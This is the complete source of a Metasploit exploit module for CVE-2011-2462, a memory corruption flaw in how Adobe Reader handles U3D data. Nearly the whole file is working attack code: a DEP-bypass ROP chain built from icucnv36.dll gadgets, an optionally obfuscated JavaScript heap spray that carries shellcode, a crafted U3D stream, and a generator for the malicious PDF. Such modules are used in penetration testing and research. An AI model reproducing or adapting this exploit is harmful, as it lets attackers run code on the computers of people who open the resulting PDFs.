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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 | ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe Reader U3D Memory Corruption Vulnerability', 'Description'=> %q{ This module exploits a vulnerability in the U3D handling within versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader. The vulnerability is due to the use of uninitialized memory. Arbitrary code execution is achieved by embedding specially crafted U3D data into a PDF document. A heap spray via JavaScript is used in order to ensure that the memory used by the invalid pointer issue is controlled. }, 'License'=> MSF_LICENSE, 'Author' => [ 'sinn3r', 'juan vazquez', 'jduck' ], 'References' => [ [ 'CVE', '2011-2462' ], [ 'OSVDB', '77529' ], [ 'BID', '50922' ], [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa11-04.html' ], [ 'URL', 'http://blog.vulnhunt.com/index.php/2011/12/12/cve-2011-2462-pdf-0day-analysis/' ], [ 'URL', 'http://blog.9bplus.com/analyzing-cve-2011-2462' ], [ 'URL', 'http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload'=> { 'Space' => 1000, 'BadChars'=> "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets'=> [ [ # Adobe Reader 9.4.0 / XP SP3 # Adobe Reader 9.4.5 / XP SP3 # Adobe Reader 9.4.6 / XP SP3 'Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3', { # gadget from icucnv36: # mov ecx,dword ptr [eax+3Ch] # mov eax,dword ptr [ecx] # call dword ptr [eax+1Ch] 'Ret' => 0x4a8453c3 } ], ], 'DisclosureDate' => 'Dec 06 2011', #Needs to be checked 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.','msf.pdf']), OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def junk(n=1) tmp = [] value = rand_text(4).unpack("L")[0].to_i n.times { tmp << value } return tmp end def exploit # DEP bypass; uses icucnv36.dll stack_data = [ junk, 0x0c0c0c0c, # mapped at 0x0c0c0c0c # becomes edi after stackpivot 0x0c0c0c0c, # becomes esi 0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h 0x4a8a0000, # becomes edi 0x4a802196, # becomes esi 0x4a801f90, # becomes ebp 0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h 0x4a806cef, # Stackpivot! xchg eax,esp (eax=0x0c0c0c0c) / xor al, al / pop edi / pop esi / ret # padding junk(4), 0x00000000, # becomes edi 0x00000002, # becomes esi 0x00000102, # becomes ebp 0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h junk(5), 0x4a80a8a6, # becomes edi 0x4a801f90, # becomes esi 0x4a849038, # becomes ebp 0x4a8063a5, # pop ecx / ret junk(5), 0x4a8a0000, # becomes ecx 0x4a802196, # mov dword ptr [ecx],eax / ret # Stores eax (stack address) 0x4a801f90, # pop eax / ret 0x4a84903c, # becomes eax (import for CreateFileA) 0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileA} 0x4a801064, # ret for CreateFileA # ret 0x00000000, # __inLPCTSTR lpFileName 0x10000000, # __inDWORD dwDesiredAccess 0x00000000, # __inDWORD dwShareMode 0x00000000, # __in_optLPSECURITY_ATTRIBUTES lpSecurityAttributes 0x00000002, # __inDWORD dwCreationDisposition 0x00000102, # __inDWORD dwFlagsAndAttributes 0x00000000, # __in_optHANDLE hTemplateFile 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx 0x4a842db2, # xchg eax, edi / ret 0x4a802ab1, # pop ebx / ret 0x00000008, # becomes ebx 0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0ce0, edi = {Result of CreateFileA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret 0x4a801f90, # pop eax / ret 0x4a849038, # becomes eax (import for CreateFileA) 0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileMappingA} 0x4a801064, # ret for CreateFileMappingA # ret 0xffffffff, # __inHANDLE hFile # mapped at 0c0c0ce0 => Stores Result of CreateFileA 0x00000000, # __in_optLPSECURITY_ATTRIBUTES lpAttributes, 0x00000040, # __inDWORD flProtect, 0x00000000, # __inDWORD dwMaximumSizeHigh, 0x00010000, # __inDWORD dwMaximumSizeLow, 0x00000000, # __in_optLPCTSTR lpName 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx 0x4a842db2, # xchg eax, edi / ret 0x4a802ab1, # pop ebx / ret 0x00000008, # becomes ebx 0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0d20, edi = {Result of FileMappingA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret 0x4a801f90, # pop eax / ret 0x4a849030, # becomes eax (import for kernel32!MapViewOfFile) 0x4a80b692, # jmp dword ptr [eax] {kernel32!MapViewOfFile} 0x4a801064, # ret for MapViewOfFile # ret 0xffffffff, # __inHANDLE hFileMappingObject # mapped at 0x0c0c0d20 => {Result of FileMappingA} 0x00000022, # __inDWORD dwDesiredAccess 0x00000000, # __inDWORD dwFileOffsetHigh 0x00000000, # __inDWORD dwFileOffsetLow 0x00010000, # __inSIZE_T dwNumberOfBytesToMap 0x4a8063a5, # pop ecx / ret 0x4a8a0004, # becomes ecx 0x4a802196, # mov dword ptr [ecx],eax / ret # Stores result of MapViewOfFile 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx 0x4a842db2, # xchg eax, edi / ret 0x4a802ab1, # pop ebx / ret 0x00000030, # becomes ebx 0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0db8, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret 0x4a801f90, # pop eax / ret 0x4a8a0004, # becomes eax {Result of MapViewOfFile} 0x4a80a7d8, # mov eax,dword ptr [eax] / ret 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx 0x4a842db2, # xchg eax, edi / ret 0x4a802ab1, # pop ebx / ret 0x00000020, # becomes ebx 0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dbc, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx 0x4a80aedc, # lea edx,[esp+0Ch] (edx => 0c0c0d94) / push edx {0c0c0d94} / push eax {Result of MapViewOfFile} / push dword ptr [esp+0Ch] ([0c0c0d8c] => 0x34) / push dword ptr [4a8a093c] ([4a8a093c] = 0x0) / call ecx (u 0x4a801064 => ret) / add esp, 10h / ret 0x4a801f90, # pop eax / ret 0x00000034, # becomes eax # mapped at 0c0c0d8c 0x4a80d585, # add eax, edx / ret (eax => 0c0c0dc8 => shellcode after ROP chain) 0x4a8063a5, # pop ecx / ret # mapped at 0c0c0d94 0x4a801064, # becomes ecx 0x4a842db2, # xchg eax,edi (edi becomes 0c0c0d8c, eax becomes Result of MapViewOfFile) / ret 0x4a802ab1, # pop ebx / ret 0x0000000a, # becomes ebx 0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dc0, edi = {shellcode after ROP chain} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret 0x4a801f90, # pop eax / ret 0x4a849170, # becomes eax (import for MSVCR80!memcpy) 0x4a80b692, # jmp dword ptr [eax] {MSVCR80!memcpy} 0xffffffff, # ret for memcpy # mapped at 0c0c0db8 => Result of MapViewOfFile 0xffffffff, # dst (memcpy param) # mapped at 0c0c0dbc => Result of MapViewOfFile 0xffffffff, # src (memcpy param) # mapped at 0c0c0dc0 => Address of shellcode after ROP chain 0x00001000# length (memcpy param) ].flatten.pack('V*') payload_buf = '' payload_buf << stack_data payload_buf << payload.encoded escaped_payload = Rex::Text.to_unescape(payload_buf) eip_ptr = [ junk(3), target.ret, # EIP junk(7), 0x0c0c0c0c, # [eax+3Ch] => becomes ecx / [0x0c0c0c0c] = 0x0c0c0c0c / [0x0c0c0c0c+1Ch] = 4a806cef => stackpivot junk(16), ].flatten.pack('V*') escaped_eip = Rex::Text.to_unescape(eip_ptr) js = <<-JS var padding; var bbb, ccc, ddd, eee, fff, ggg, hhh; var pointers_a, i; var x = new Array(); var y = new Array(); function alloc(bytes) { return padding.substr(0, (bytes - 6) / 2); } function spray_eip(esc_a) { pointers_a = unescape(esc_a); for (i = 0; i < 2000; i++) { x[i] = alloc(0x8) + pointers_a; y[i] = alloc(0x88) + pointers_a; y[i] = alloc(0x88) + pointers_a; y[i] = alloc(0x88) + pointers_a; } }; function spray_shellcode() { bbb = unescape('#{escaped_payload}'); ccc = unescape("%u0c0c"); ccc += ccc; while (ccc.length + 20 + 8 < (0x8000 + 0x8000)) ccc += ccc; i1 = 0x0c0c - 0x24; ddd = ccc.substring(0, i1 / 2); ddd += bbb; ddd += ccc; i2 = 0x4000 + 0xc000; eee = ddd.substring(0, i2 / 2); for (; eee.length < 0x40000 + 0x40000;) eee += eee; i3 = (0x1020 - 0x08) / 2; fff = eee.substring(0, 0x80000 - i3); ggg = new Array(); for (hhh = 0; hhh < 0x1e0 + 0x10; hhh++) ggg[hhh] = fff + "s"; } padding = unescape("#{escaped_eip}"); while (padding.length < 0x10000) padding = padding + padding; spray_shellcode(); spray_eip('%u4141'); this.pageNum = 2; JS js = js.gsub(/^\t\t/,'') if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end u3d = make_u3d_stream xml = make_xml_data pdf = make_pdf(u3d, xml, js.to_s) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(pdf) end def make_xml_data xml = %Q|<?xml version="1.0" encoding="UTF-8"?> <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> <ed>kapa</ed> <config xmclns="http://www.microsoft.org/schema/xci/2.6/"> <present> <pdf> <version>1</version> <fjdklsajfodpsajfopjdsio>f</fjdklsajfodpsajfopjdsio> <interactive>1</interactive> </pdf> </present> </config> <template xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/"> <subform name="form1" layout="tb" locale="en_US"> <pageSet> </pageSet> </subform> </template> <template1 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/"> <subform name="form1" layout="tb" locale="en_US"> <pageSet> </pageSet> </subform> </template1> <template2 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/"> <subform name="form1" layout="tb" locale="en_US"> <pageSet> </pageSet> </subform> </template2> </xdp:xdp>| xml = xml.gsub(/^\t\t/, '') return xml end def u3d_pad(str, char="\x00") len = str.length % 4 if (len > 0) #puts "Adding %d pad bytes" % (4 - len) return (char * (4 - len)) end "" end def u3d_string(str) ([str.length].pack('v') + str) end def make_u3d_stream() # # REFERENCE: # http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-363%201st%20edition.pdf # The File format consists of these blocks: # [File Header Block][Declaration Block][Continuation Block] # Each block consists of (padding is used to keep fields 32-bit aligned): # [Block Type][Data Size][Metadata Size][Data][Data Padding][Meta Data][Meta Data Padding] # mc_name = u3d_string("CCCCBox01") mr_name = u3d_string("Box01RX") # build the U3D header (length will be patched in later) hdr_data = [0,0].pack('n*') # version info hdr_data << [0,0x24,0xa34,0,0x6a].pack('VVVVV') # 31337 was 0xa34 hdr = "U3D\x00" hdr << [hdr_data.length,0].pack('VV') hdr << hdr_data parent_node_data = "\x01\x00\x00\x00"+ # node count (1) "\x00\x00"+ # name (empty) # transform matrix [0x813f,0,0,0,0,0x813f,0,0,0,0,0x813f,0,0x548a55c0,0xa2027cc2,0,0x813f].pack('N*') model_node_data = "" model_node_data << mc_name model_node_data << parent_node_data model_node_data << mr_name model_node_data << [1].pack('V') # Model Visibility (Front visible) model_node = [0xffffff22,model_node_data.length,0].pack('VVV') #model_node = [0xffffff22,0x5e,0].pack('VVV') model_node << model_node_data bone_weight_data = "" bone_weight_data << mc_name bone_weight_data << [ 1,# Chain index 1,# Bone Weight Attributes (for a mesh) 0x3162123b, # Inverse Quant 0x14, # Position Count ].pack('VVNV') # Position List bone_weight_data << [ # 1 1,# Bone Weight Count 3,# Bone Index (no Quantized Weight) # 2 0x55550000, # Bone Weight Count 0x4c1df36e, # Bone Index 0x0200d002, # Quantized Weight # 3 0x95000074, # Bone Weight Count 0x66ccc357, # Bone Index 0x00000000# Quantized Weight ].pack('VVNNNNNN') bone_weight = [0xffffff44,0x3a,0].pack('VVV') # We hardcode the length to match the old file.. (TODO: test if necessary) #bone_weight = [0xffffff44,bone_weight_data.length,0].pack('VVV') bone_weight << bone_weight_data new_objtype1_data = "\x05\x00\x52\x52\x52\x52\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2\xdf\x2a"+ "\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x05\x00\x52\x52\x52\x52\x52\x01\x00"+ "\x00\x00\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00" #new_objtype1 = [0xffffff16,0x38,0].pack('VVV') new_objtype1 = [0xffffff16,new_objtype1_data.length,0].pack('VVV') new_objtype1 << new_objtype1_data shading_modifier_data = "" shading_modifier_data << mc_name shading_modifier_data << "\x02\x00\x00\x00\x00\x00\x00\x00\x01"+ "\x00\x00\x00\x00\x00\x00\x00\x06\x00\x42\x6f\x02\x00\x00\x00" #shading_modifier = [0xffffff45,0x23,0].pack('VVV') shading_modifier = [0xffffff45,shading_modifier_data.length,0].pack('VVV') shading_modifier << shading_modifier_data new_objtype2_data = "\x01\x00\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2"+ "\xdf\x2a\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x52\x01\x00\x00\x00"+ "\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00" #new_objtype2 = [0xffffff16,0x30,0].pack('VVV') new_objtype2 = [0xffffff16,new_objtype2_data.length,0].pack('VVV') new_objtype2 << new_objtype2_data nodemod_decl = "" nodemod_decl << model_node nodemod_decl << u3d_pad(nodemod_decl) nodemod_decl << bone_weight nodemod_decl << u3d_pad(nodemod_decl) nodemod_decl << new_objtype1 nodemod_decl << u3d_pad(nodemod_decl) nodemod_decl << shading_modifier nodemod_decl << u3d_pad(nodemod_decl) nodemod_decl << new_objtype2 nodemod_decl << u3d_pad(nodemod_decl) nodemod_decl << # another modifier chain? "\x14\xff\xff\xff\xc0\x01\x00\x00\x00\x00\x00\x00"+ "\x07\x00\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00"+ "\x00\x00"+ # clod mesh generator (declaration) "\x31\xff\xff\xff\x9b\x01\x00\x00\x00\x00\x00\x00\x07\x00\x42\x6f\x78\x30\x31\x52"+ "\x58\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x14\x00\x00\x00\x6c\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x2c\x01\x00\x00\x2c\x01\x00\x00\x2c"+ "\x01\x00\x00\x87\x52\x0a\x3d\xa6\x05\x6f\x3b\xa6\x05\x6f\x3b\x4a\xf5\x2d\x3c\x4a\xf5\x2d"+ "\x3c\x66\x66\x66\x3f\x00\x00\x00\x3f\xf6\x28\x7c\x3f\x04\x00\x00\x00\x07\x00\x53\x63\x61"+ "\x70\x75\x6c\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x07\x00\x48\x75\x6d\x65\x72\x75\x73\x07\x00\x53\x63\x61\x70\x75\x6c\x61\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x55\x6c\x6e\x61\x07\x00\x48\x75"+ "\x6d\x65\x72\x75\x73\x00\x00\x00\x00\x00\x00\x20\x41\x00\x00\x00\x00\x00\x00\x20\x41\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06"+ "\x00\x52\x61\x64\x69\x75\x73\x04\x00\x55\x6c\x6e\x61\x00\x00\x00\x00\x00\x00\x70\x41\x00"+ "\x00\x00\x00\x00\x00\x70\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00"+ # clod mesh generator (progressive mesh cont) "\x3c\xff\xff\xff\x6f\x01\x00\x00\x00\x00\x00\x00\x07\x00"+ "\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00\x50\x02\x00\x00\x28\x01"+ "\x00\x00\x7f\x75\x2f\x2b\x00\x00\x20\x73\x00\x00\xc3\x05\x00\x00\x00\x00\x00\x00\x80\x02"+ "\x45\xe4\x4c\x55\x01\x00\x00\xe0\x30\x03\x00\x00\xb0\x01\x00\x00\x00\x36\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x55\x55\x05\x00\x80\xa3\x2a\x00\xc0\xe1"+ "\x41\x6b\x92\xf2\xa4\x00\x00\x72\x87\x18\x4c\xd0\xda\x00\x00\x20\x46\xa9\x03\x00\x40\x8c"+ "\x00\x00\xa0\x7c\xa9\xa7\x10\x03\x00\x00\xc4\x09\x00\x00\x0d\xd2\x50\x85\x03\x72\x00\x80"+ "\x5c\x37\x19\xc1\xb9\x0f\x00\x20\x55\xf7\x13\x00\x40\x00\xdc\x1f\xf9\x2c\x35\x30\x6e\x06"+ "\x62\xb6\xea\x09\x2e\x7b\x28\xa4\x90\xe0\xb3\x63\x2c\x20\x92\x2a\x88\xbc\x06\x3a\xff\x80"+ "\x43\xb2\x00\x00\x00\x14\x62\x0e\x63\xb4\x04\x08\x47\x52\x20\x31\xca\x00\x00\xb4\x21\xe0"+ "\xd7\x01\x00\xa0\x1a\x72\x11\x71\xc2\x2c\x74\xc1\xa3\x56\xfa\x30\x03\x00\xe0\x7b\xd0\x62"+ "\x2a\x00\x40\x71\xfa\x6c\xc6\xcf\x07\x78\x81\xd0\x47\x3d\x58\x0e\x51\x0f\x2e\x27\x2d\xbe"+ "\x26\x10\x06\x6f\x3a\x40\xae\x36\x6a\x43\x60\xdf\xcb\xef\x8c\x38\xca\x04\x92\x79\x4b\x79"+ "\xe9\x42\xbd\x2b\xb9\x5b\x86\x60\x65\xa4\x75\x01\x19\xda\xcf\x6a\xf7\x2a\x77\x3c\xde\xf1"+ "\x11\x75\x33\xd3\x94\x74\x4a\x14\x73\x4b\x18\xa1\x66\xc2\x0f\xde\x3d\xed\x19\xd4\x32\x2e"+ "\xb6\x11\xf2\xc6\x2f\x13\x62\xb9\xe5\xe1\x03\x8b\xb5\x1c\x23\x9f\x80\x03\x75\xb6\x26\xd3"+ "\x1c\x16\x5f\x9b\x3c\xea\x62\x10\xe1\xb1\x00\x00\x00\x00" # build the modifier chain chain_data = "" chain_data << mc_name chain_data << [0].pack('V') # type (node modifier) chain_data << [0].pack('V') # attributes (no bounding info) chain_data << u3d_pad(chain_data) chain_data << [0x5].pack('V') # number of modifiers chain_data << nodemod_decl #modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV') # chain_data was 0x17c bytes modifier_chain = [0xffffff14,0x17c,0].pack('VVV') modifier_chain << chain_data data = "" data << hdr data << modifier_chain data end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end def ioDef(id) "%d 0 obj\n" % id end def ioRef(id) "%d 0 R" % id end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def make_pdf(u3d_stream, xml, js_doc) xref = [] eol = "\x0a" obj_end = "" << eol << "endobj" << eol # the header pdf = "%PDF-1.7" << eol # filename/comment pdf << "%" << RandomNonASCIIString(4) << eol email = rand_text_alpha(3) + "@" + rand_text_alpha(4) + ".com" site= rand_text_alpha(5) + ".com" xref << pdf.length pdf << ioDef(1) pdf << "<</Author (Fo)/email (#{email})/web (site)>>" pdf << obj_end compressed_xml = Zlib::Deflate.deflate(xml) xref << pdf.length pdf << ioDef(2) pdf << "<</Length " << compressed_xml.length.to_s << " /Filter /FlateDecode>>" << eol pdf << "stream" << eol pdf << compressed_xml << eol pdf << "endstream" pdf << obj_end xref << pdf.length pdf << ioDef(3) pdf << "<</XFA " << ioRef(2) << ">>" pdf << obj_end xref << pdf.length pdf << ioDef(4) pdf << "<</Type/Catalog/Outlines " << ioRef(5) pdf << " /Pages " << ioRef(6) pdf << " /OpenAction " << ioRef(14) pdf << " /AcroForm " << ioRef(3) pdf << ">>" pdf << obj_end xref << pdf.length pdf << ioDef(5) << "<</Type/Outlines/Count 0>>" pdf << obj_end xref << pdf.length pdf << ioDef(6) pdf << "<</Type/Pages/Count 3/Kids [%s %s %s]>>" % [ioRef(13), ioRef(9), ioRef(12)] pdf << obj_end data = "\x78\xda\xd3\x70\x4c\x04\x02\x4d\x85\x90\x2c\x00\x0f\xd3\x02\xf5" compressed_data = Zlib::Deflate.deflate(data) xref << pdf.length pdf << ioDef(7) pdf << "<</Length %s /Filter /FlateDecode>>" %compressed_data.length.to_s << eol pdf << "stream" << eol pdf << compressed_data << eol pdf << "endstream" pdf << obj_end xref << pdf.length pdf << ioDef(8) pdf << "<</ProcSet [/PDF]>>" pdf << obj_end xref << pdf.length pdf << ioDef(9) pdf << "<</Type/Page/Parent %s/MediaBox [0 0 640 480]/Contents %s/Resources %s>>" % [ioRef(6), ioRef(7), ioRef(8)] pdf << obj_end compressed_u3d = Zlib::Deflate::deflate(u3d_stream) xref << pdf.length pdf << ioDef(10) pdf << "<</Type/3D/Subtype/U3D/Length %s /Filter/FlateDecode>>" %compressed_u3d.length.to_s << eol pdf << "stream" << eol pdf << compressed_u3d << eol pdf << "endstream" pdf << obj_end xref << pdf.length pdf << ioDef(11) pdf << "<</Type/Annot/Subtype/3D/Contents (#{rand_text_alpha(4)})/3DI false/3DA <</A/PO/DIS/I>>" pdf << "/Rect [0 0 640 480]/3DD %s /F 7>>" %ioRef(10) pdf << obj_end xref << pdf.length pdf << ioDef(12) pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s /Annots [%s]>>" % [ioRef(6), ioRef(7), ioRef(8), ioRef(11)] pdf << obj_end xref << pdf.length pdf << ioDef(13) pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s>>" % [ioRef(6), ioRef(7), ioRef(8)] pdf << obj_end xref << pdf.length pdf << ioDef(14) pdf << "<</S/JavaScript/JS %s>>" %ioRef(15) pdf << obj_end compressed_js = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc)) xref << pdf.length pdf << ioDef(15) pdf << "<</Length " <<compressed_js.length.to_s << " /Filter [/FlateDecode/ASCIIHexDecode]>>" pdf << "stream" << eol pdf << compressed_js << eol pdf << "endstream" pdf << obj_end # xrefs xrefPosition = pdf.length pdf << "xref" << eol pdf << "0 %d" % (xref.length + 1) << eol pdf << "0000000000 65535 f" << eol xref.each do |index| pdf << "%010d 00000 n" % index << eol end # trailer pdf << "trailer" << eol pdf << "<</Size %d/Root " % (xref.length + 1) << ioRef(4) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol end end |
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